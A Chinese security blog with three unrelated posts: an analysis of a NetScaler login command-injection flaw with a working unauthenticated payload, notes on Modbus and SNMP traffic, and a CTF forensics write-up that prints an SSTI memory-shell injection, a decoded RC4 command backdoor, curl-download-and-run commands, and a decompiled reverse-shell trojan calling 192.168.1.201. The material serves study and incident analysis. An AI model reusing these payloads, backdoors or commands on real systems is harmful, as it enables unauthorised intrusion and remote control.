Kwan1's Blog

平生养韬光 壮志藏心间

0x01 漏洞信息

  • CVE 编号:CVE-2026-88771
  • 漏洞类型:命令注入。由于输入校验不当,允许未认证攻击者执行任意命令,默认配置即可触发
  • 漏洞位点:ns_monuploadd_err.pl,一个 Perl 运维脚本,而非 nsppe 二进制

0x02 触发方式

向 /nf/auth/doAuthentication.do 发一个未认证的 POST 登录请求,login 字段携带伪造的 pitboss 崩溃记录(URL 全编码):

1
2
3
4
5
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded

login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;`id>/var/tmp/watchTowr`;# X<@/urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=LogOn

<@urlencode_all>...<@/urlencode_all> 是 Burp Intruder 的 payload 处理标记,发送时 login 值会被整体 URL 编码。

登录流程会把用户输入完整保存到日志中,ns_monuploadd_err.pl 文件会定期读取日志并提取特定格式的字符串,并拼接进 find 命令执行,导致攻击者注入的恶意命令被执行。

0x03 漏洞原理

PPE 与漏洞位点

PPE(即设备上的 nsppe 二进制)处理所有流经设备的流量包,每颗 CPU 核心会负责一个 PPE 实例。由于 PPE 直接解析互联网进来的每一个字节,因此历史中绝大多数未认证漏洞都出自它。

然而,CVE-2026-88771 不在这个二进制里,而出现在 NetScaler 对 PPE 进行崩溃后处理的辅助脚本层(ns_monuploadd_err.pl)中。

nsppe 的崩溃处理机制

  • pitboss 进程:统一拉起并监控每个 CPU 核心的 PPE,PPE 需定时上报存活信号;
  • PPE 死亡(段错误 / abort):进程消失,内核自动把进程内存镜像转储成 core 文件落在 /var/core/,命名 NSPPE-<编号>-<PID>(如 NSPPE-00-12345);
  • PPE 卡住:pitboss 主动杀掉重拉。

随后 pitboss 往共享日志(/var/log/ns.log)写一行死亡通知,然后重启 PPE,流量恢复:

1
pitboss: NSPPE-00 (12345) unexpectedly died

ns_monuploadd_err.pl

PPE 崩溃后收集 core 文件、上传错误报告的监控脚本(周期运行,最长 24h):从日志中提取准确的内核转储文件名,并执行 find 指令,读取文件的详细路径以供后续处理。

1
2
3
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @NR_FILES | tail -1 |
sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' |
awk '{ print $1"-"$2 }';`

提取链路:

  • grep:从日志中(/var/log/ns.log)提取 pitboss.*PPE.*missed too many heartbeats 与 pitboss.*PPE.*unexpectedly died 两种格式的行;
  • tail -1:保留最后一条(即最后一次崩溃);
  • sed:删除 NSPPE 之前的前缀和整个字段中的括号;
  • awk:取前两个以空白相隔的字段并用 - 连接,与内核 core 命名规则 NSPPE-<编号>-<PID> 精确对应。

以这条日志为例:

1
pitboss: NSPPE-00 (12345) unexpectedly died
  • grep 与 tail -1 将这条日志提取并保留;
  • sed 删除 NSPPE 之前的前缀和整个字段中的括号,得到 NSPPE-00 12345 unexpectedly died;
  • awk 取前两个字段并用 - 连接,得到 NSPPE-00-12345。

find 模板

1
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

上一步的产出不做任何校验,直接插值。这段代码把 ${WR_PPE_COREFILE_NAME} 替换成变量里的值、$OFF_DIR 替换成目录前缀。假设变量值是 NSPPE-00-12345,填完后这段文字变成:

1
find /var/core -name NSPPE-00-12345* -print | tail -1

在 Perl 语言规范中,反引号用于把命令交给 shell 执行并捕获输出,因此这里的执行效果就是读取以 NSPPE-00-12345 开头的文件并将输出返回给 Perl 脚本,随后将文件找到并打包,作为给 Citrix 的崩溃诊断证据。

问题所在

作为一个日志处理程序,其默认日志内容是系统生成的且安全的(听起来似乎没什么问题?)

然而:为用于日志审计,/var/log/ns.log 会原样保存用户在认证过程的输入(即使认证失败)。攻击者可控日志的部分写入内容,因此这份共享日志可以同时出现:

1
2
pitboss: NSPPE-00 (12345) unexpectedly died
AAAD API: sending login req to aaad for <任意字符串>...

构造 payload

如果这个任意字符串是 core 崩溃后日志的格式呢?导致以下日志被写入:

1
2
3
<local0.info> xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor <xxxxx>, auth type 4129, trans id 1350"
<local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70
<local0.info> xxxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"

伪造的日志经过同一条管道处理(三行均能被 grep 匹配,tail -1 保留最后一条):

  • grep:匹配 pitboss.*PPE.*unexpectedly died 行;
  • sed:删除 NSPPE 之前的前缀和整个字段中的括号,得到:
1
NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
  • awk:取前两个以空白相隔的字段并用 - 连接,得到:
1
NSPPE;:`id>/var/tmp/watchTowr`;#-X>,

命令执行

这里就会执行:

1
find /var/core -name NSPPE;:`id>/var/tmp/watchTowr`;#-X>,* -print | tail -1
  • find /var/core -name NSPPE:寻找名为 NSPPE 的文件;
  • :`id>/var/tmp/watchTowr`:执行 payload;
  • #-X>,* -print | tail -1:被 # 注释掉。

0x04 攻击者最初可能是怎么挖到的?

推测:读文件,而不是打二进制。

NetScaler 的应用主体分为三层:

层 组成 特点
应用主体 nsppe(二进制) 处理数据 / 认证面前台
守护进程层 nsaaad(认证后台)、pitboss、httpd(管理面)等 常驻、编译型
辅助脚本层 /netscaler 下 Perl/Shell 脚本,如 ns_monuploadd_err.pl 明文、root、cron 驱动

挖掘路径:

1
2
3
4
5
6
7
8
9
审计脚本层(形状扫描:grep 反引号 / 两段式插值)
↓
发现命令注入汇点(ns_monuploadd_err.pl 的 grep|sed|awk → find 反引号)
↓
沿汇点输入反向溯源 → 锁定中间存储(grep 模式指向的日志文件)
↓
追溯该存储的写入者 → 未认证可达源点(AAAD 登录日志)
↓
验证触发(nsmonuploadd 周期 / 强制手段)

0x05 类似漏洞的挖掘思路

辅助脚本层审计:

特权消费者(root 脚本)+ 共享存储(日志/文件)+ 未认证生产者(表单/UA)= 二阶注入流

参考

做流量分析做到一道Modbus流量分析的题,第一次见遂记录。

流程核心:主站发起、从站响应


  1. 主站发起请求

SCADA/PLC(主站)生成 Modbus/TCP 包:

  • Transaction ID

  • Unit ID

  • Function Code

  • 目标地址

  • 数据值


  1. 从站接收并执行

执行器(从站)收到包后,先检查 Unit ID 是否匹配自己的 Node ID,如果匹配就执行指令:

  • 解析 Function Code,例如写单个线圈

  • 定位至线圈并设置数据值

从站返回响应:阀门执行器生成响应包,带上和请求包相同的 Transaction ID,返回:

  • Function Code

  • 线圈地址

  • 数据值


  1. 主站接收响应

SCADA/PLC 收到响应包后,通过 Transaction ID 匹配到之前的请求,确认动作已执行,并在 HMI 上更新状态。

常见的功能码:

1
2
3
4
5
6
7
8
1:读线圈
2:读离散输入
3:读保持
4:读输入
5:写单个线圈
6:写单个保持
15:写多个线圈
16:写多个保持

此外,注意:
写线圈后,Data为0xff00说明置1,可以理解成“打开”的意思
为0x0000即说明置0,对应“关闭”
Reference Number为线圈寄存器地址
NodeId为工业网络里标识设备的 “地址”

题中也出现了SNMPv2协议,也和工控流量相关:
SNMPv2 是简单网络管理协议(SNMP)的一个常用版本,用于网络设备(路由器、交换机等)的监控与管理,延续了SNMP主从式(管理站与代理)的通信模式,管理站可通过Get、GetNext等操作查询设备参数,也可通过Set操作配置设备,代理则部署在被管理设备上,接收指令并返回响应,SNMPv2支持批量查询,能更高效地获取多个设备参数,其认证方式仍采用共同体名(Community String),分为只读(public,仅查询数据)和读写(private,可配置设备)两种,同时依赖MIB(管理信息库)定义可监控参数及对应OID(对象标识符),相较于SNMPv1提升了查询效率和错误处理能力,但未添加加密和更严格的身份验证机制,安全性较弱,常应用于对安全要求不高的内部网络环境。
MIB(Management Information Base,管理信息库)是MO(Managed Object管理对象)定义的集合。MIB文件是按照ASN.1定义的文本文件。每个管理对象都对应一个节点,并且用OID(Object Identifier)来标识;数据管理对象对应叶子节点;所有的管理对象形成了一棵管理树。对象标识从顶部开始,顶部没有标识,以root表示。所有的MIB变量都从1.3.6.1.2.1这个标识开始。树上的每个节点还有文字名,例如:1.3.6.1.2.1就和iso.org.dod.internet.memt.mib对应。
例如:
0000 00 2f 14 27 16 3a 00 45 3a 2c 5b 62 08 00 45 00 ./.’.:.E:,[b..E.
0010 00 59 00 01 00 00 40 11 f6 46 c0 a8 01 98 c0 a8 .Y....@..F……
0020 01 64 d0 9c 00 a1 00 45 c8 a2 53 4e 4d 50 76 32 .d…..E..SNMPv2
0030 63 3b 43 6f 6d 6d 75 6e 69 74 79 3d 70 75 62 6c c;Community=publ
0040 69 63 3b 50 44 55 3d 47 65 74 52 65 71 75 65 73 ic;PDU=GetReques
0050 74 3b 4f 49 44 3d 31 2e 33 2e 36 2e 31 2e 34 2e t;OID=1.3.6.1.4.
0060 31 2e 36 33 36 2e 31 1.636.1
Community=public:public,代表是只读权限的请求,只能查询设备数据,不能修改配置。
PDU=GetRequest:表示这是一个GetRequest类型的协议数据单元(PDU),也就是管理站向设备代理发起的查询请求。
OID:指定了要查询的对象标识符(OID)
这个包是 IP 为 192.168.1.152 的管理站,向 IP 为 192.168.1.100 的网络设备,发送了一个 SNMPv2c 只读查询请求,目标是获取 OID 1.3.6.1.4.1.636.1 对应的设备私有 MIB 信息(通常是厂商自定义的设备参数)。

流量取证
比赛的时候手慢了点,重新复现一下。

1

要求找到成功登陆时的账号密码。直接全局搜login,发现了大量的登陆请求。回显为用户名或密码错误。因此从后往前搜索login(ctrl+b搜索上一个),发现有一个登录后回显302的,发现后面成为管理员。因此找到302回显的发包,即可发现账号密码为admin zxcvbnm123

2

要求找到SERCET_KEY的值,直接全局搜索即可。 SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'

3

要求获取内存马的加密密钥
继续看下面的包,发现preview_content=,疑似ssti内存马注入。ssti注入内存马一般是通过http协议进行通信,继续往下看http协议包。过滤并保留http协议包,发现下一个包内就发送了很多奇怪的代码:

1
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}

可以看到其经过base64加密。放到cycberchef里解密一下看看:

1
2
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+********'))

这里可以看到,先经过反转,然后base64解密,zlib解压缩。尝试解密一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import zlib
import base64


cdata = b'**'
mdata= cdata[::-1]
print(mdata)
mdata = base64.b64decode(mdata)
outdata = zlib.decompress(mdata)
print(f"解压后代码:{outdata}")
'''
b"exec((_)(b'=Mh9tF+P7**************'))"
'''

发现解密出的代码仍旧是exec(()(b’****’))的形式,存在嵌套加密。也就是说,恶意代码是
exec((
)(b’exec(()(b’exec(()(b’exec(()(b’exec(()(b’***)))))))))) 这种的形式,我们需要逐层提取载荷,一直解压到最后。
exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import zlib
import base64
import re

pattern = b"exec\(\(_\)\(b'([^']+)'\)\)"
cdata = b'**************************************'
mdata= cdata[::-1]
mdata = base64.b64decode(mdata)
outdata = zlib.decompress(mdata)
for _ in range(1,100):
print(_)
print(f"解压后代码:{outdata}")
outdata =re.search(pattern, outdata).group(1).decode("UTF-8")
print(outdata)
outdata=outdata[::-1]
outdata=base64.b64decode(outdata)
outdata=zlib.decompress(outdata)

提取出来的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b\'v1p3r_5tr1k3_k3y\'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
tfor i in range(256):j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get(\'X-Token-Auth\') != \'3011aa21232beb7504432bfa90d32779\':
return "Error"
enc_hex_cmd = request.form.get(\'data\')
if not enc_hex_cmd:
return ""
try:enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(\'utf-8\', errors=\'ignore\')
output_bytes = getattr(os, \'popen\')(cmd).read().encode(\'utf-8\', errors=\'ignore\')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

一个rc4加密的内存马。很明确了,密钥是
v1p3r_5tr1k3_k3y

4

要求找到内存马的名字。

接下来继续看后面的包。根据这个内存马,后面的数据都存在这个data里面。逐个查看data并解密即可知道执行了什么命令。
其分别执行了
id
ls -al
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
这里的下一个http包中就get了一个shell.zip
然后通过打开Hypertext Transfer Protocol,在media type这里导出分组字节流即可获取到压缩包。
或者通过复制as a hex stream的方式放到cycberchef里,然后fromhex 导出也可。注意如果用其他方式复制,可能会导致一些不可显示的数据丢失掉,导致不能正常生成压缩包。

可以看到压缩包里面有一个shell,但是被加密了。
继续看下面的通信:
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

可以看到,解压密码是nf2jd092jd01
这里还把木马重命名为pyhton3.13,可见其名字就是pyhton3.13了。这里启动木马后,通信就不通过http方式了,因此后面也没有http包。

5

要求找到shell的通信密钥。
之前我们已经拿到了shell的本题,直接去分析shell文件即可。
进入主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+4h] [rbp-115Ch] BYREF
unsigned int v6; // [rsp+8h] [rbp-1158h] BYREF
unsigned int v7; // [rsp+Ch] [rbp-1154h] BYREF
_DWORD v8[4]; // [rsp+10h] [rbp-1150h] BYREF
_BYTE v9[128]; // [rsp+20h] [rbp-1140h] BYREF
_BYTE v10[128]; // [rsp+A0h] [rbp-10C0h] BYREF
char command[4096]; // [rsp+120h] [rbp-1040h] BYREF
struct sockaddr s; // [rsp+1120h] [rbp-40h] BYREF
int v13; // [rsp+1134h] [rbp-2Ch]
int v14; // [rsp+1138h] [rbp-28h]
int v15; // [rsp+113Ch] [rbp-24h]
FILE *stream; // [rsp+1140h] [rbp-20h]
int v17; // [rsp+1148h] [rbp-18h]
unsigned int seed; // [rsp+114Ch] [rbp-14h]
int fd; // [rsp+1150h] [rbp-10h]
int j; // [rsp+1154h] [rbp-Ch]
int v21; // [rsp+1158h] [rbp-8h]
int i; // [rsp+115Ch] [rbp-4h]

fd = socket(2, 1, 0);
if ( fd < 0 )
exit(1);
memset(&s, 48, sizeof(s));
s.sa_family = 2;
*(_DWORD *)&s.sa_data[2] = inet_addr("192.168.1.201");
*(_WORD *)s.sa_data = htons(0xE59Eu);
if ( connect(fd, &s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
while ( (unsigned int)sub_18ED((unsigned int)fd, &v6, 4LL, 0LL) == 4 )
{
v6 = (v6 >> 8) & 0xFF00 | (v6 << 8) & 0xFF0000 | (v6 << 24) | HIBYTE(v6);
if ( v6 <= 0x1000 && v6 && (v6 & 0xF) == 0 )
{
v21 = sub_18ED((unsigned int)fd, command, v6, 0LL);
if ( v21 != v6 )
break;
sub_1860(v10, 0LL, command, command, v21);
v17 = (unsigned __int8)command[v21 - 1];
if ( v17 && v17 <= 16 )
command[v21 - v17] = 0;
else
command[v21] = 0;
stream = popen(command, "r");
if ( stream )
{
v21 = fread(command, 1uLL, 0xFFFuLL, stream);
pclose(stream);
command[v21] = 0;
}
else
{
strcpy(command, "popen failed\n");
v21 = strlen(command);
}
v15 = v21;
v14 = 16 * (v21 / 16 + 1);
v13 = v14 - v21;
for ( j = v21; j < v14; command[j++] = v13 )
;
sub_1860(v9, 1LL, command, command, v14);
v5 = (v14 >> 8) & 0xFF00 | (v14 << 8) & 0xFF0000 | (v14 << 24) | (v14 >> 24);
if ( (unsigned int)sub_197F((unsigned int)fd, &v5, 4LL, 0LL) != 4 )
break;
v3 = sub_197F((unsigned int)fd, command, v14, 0LL);
if ( v14 != v3 )
break;
}
}
close(fd);
return 0LL;
}

很明显是一个开启socket用于执行命令的木马
注意此处:

1
2
3
4
5
6
7
8
9
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 )
{
close(fd);
exit(1);
}
seed = (v7 >> 8) & 0xFF00 | (v7 << 8) & 0xFF0000 | (v7 << 24) | HIBYTE(v7);//这个地方实际上就是在转小端序
srand(seed);
for ( i = 0; i <= 3; ++i )
v8[i] = rand();

这里接收了一个unsigned int v7,且为4字节;将其进行移位并赋值给seed作为种子生成v8[4]
因为代码里硬编码了ip 192.168.1.201,因此后面直接来看与192.168.1.201进行通信的TCP包
Data (4 bytes)
Data: 34952046
[Length: 4]
可知这就是传给木马的v7了。
继续分析代码,接下来是
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
这里的一个0一个1,很可能是一个用于加密一个用于解密的。
继续分析代码发现了
.rodata:0000000000002020 ; unsigned __int8 byte_2020[256]
.rodata:0000000000002020 byte_2020 db 0D6h, 90h, 0E9h, 0FEh, 0CCh, 0E1h, 3Dh, 0B7h, 16h, 0B6h
.rodata:0000000000002020 ; DATA XREF: sub_1229+26↑o
.rodata:000000000000202A db 14h, 0C2h, 28h, 0FBh, 2Ch, 5, 2Bh, 67h, 9Ah, 76h, 2Ah
.rodata:0000000000002035 db 0BEh, 4, 0C3h, 0AAh, 44h, 13h, 26h, 49h, 86h, 6, 99h
.rodata:0000000000002040 db 9Ch, 42h, 50h, 0F4h, 91h, 0EFh, 98h, 7Ah, 33h, 54h
.rodata:000000000000204A db 0Bh, 43h, 0EDh, 0CFh, 0ACh, 62h, 0E4h, 0B3h, 1Ch, 0A9h
.rodata:0000000000002054 db 0C9h, 8, 0E8h, 95h, 80h, 0DFh, 94h, 0FAh, 75h, 8Fh
.rodata:000000000000205E db 3Fh, 0A6h, 47h, 7, 0A7h, 0FCh, 0F3h, 73h, 17h, 0BAh
.rodata:0000000000002068 db 83h, 59h, 3Ch, 19h, 0E6h, 85h, 4Fh, 0A8h, 68h, 6Bh
.rodata:0000000000002072 db 81h, 0B2h, 71h, 64h, 0DAh, 8Bh, 0F8h, 0EBh, 0Fh, 4Bh
.rodata:000000000000207C db 70h, 56h, 9Dh, 35h, 1Eh, 24h, 0Eh, 5Eh, 63h, 58h, 0D1h
.rodata:0000000000002087 db 0A2h, 25h, 22h, 7Ch, 3Bh, 1, 21h, 78h, 87h, 0D4h, 0
.rodata:0000000000002092 db 46h, 57h, 9Fh, 0D3h, 27h, 52h, 4Ch, 36h, 2, 0E7h, 0A0h
.rodata:000000000000209D db 0C4h, 0C8h, 9Eh, 0EAh, 0BFh, 8Ah, 0D2h, 40h, 0C7h, 38h
.rodata:00000000000020A7 db 0B5h, 0A3h, 0F7h, 0F2h, 0CEh, 0F9h, 61h, 15h, 0A1h
.rodata:00000000000020B0 db 0E0h, 0AEh, 5Dh, 0A4h, 9Bh, 34h, 1Ah, 55h, 0ADh, 93h
.rodata:00000000000020BA db 32h, 30h, 0F5h, 8Ch, 0B1h, 0E3h, 1Dh, 0F6h, 0E2h, 2Eh
.rodata:00000000000020C4 db 82h, 66h, 0CAh, 60h, 0C0h, 29h, 23h, 0ABh, 0Dh, 53h
.rodata:00000000000020CE db 4Eh, 6Fh, 0D5h, 0DBh, 39h, 0B8h, 31h, 11h, 0Ch, 5Ah
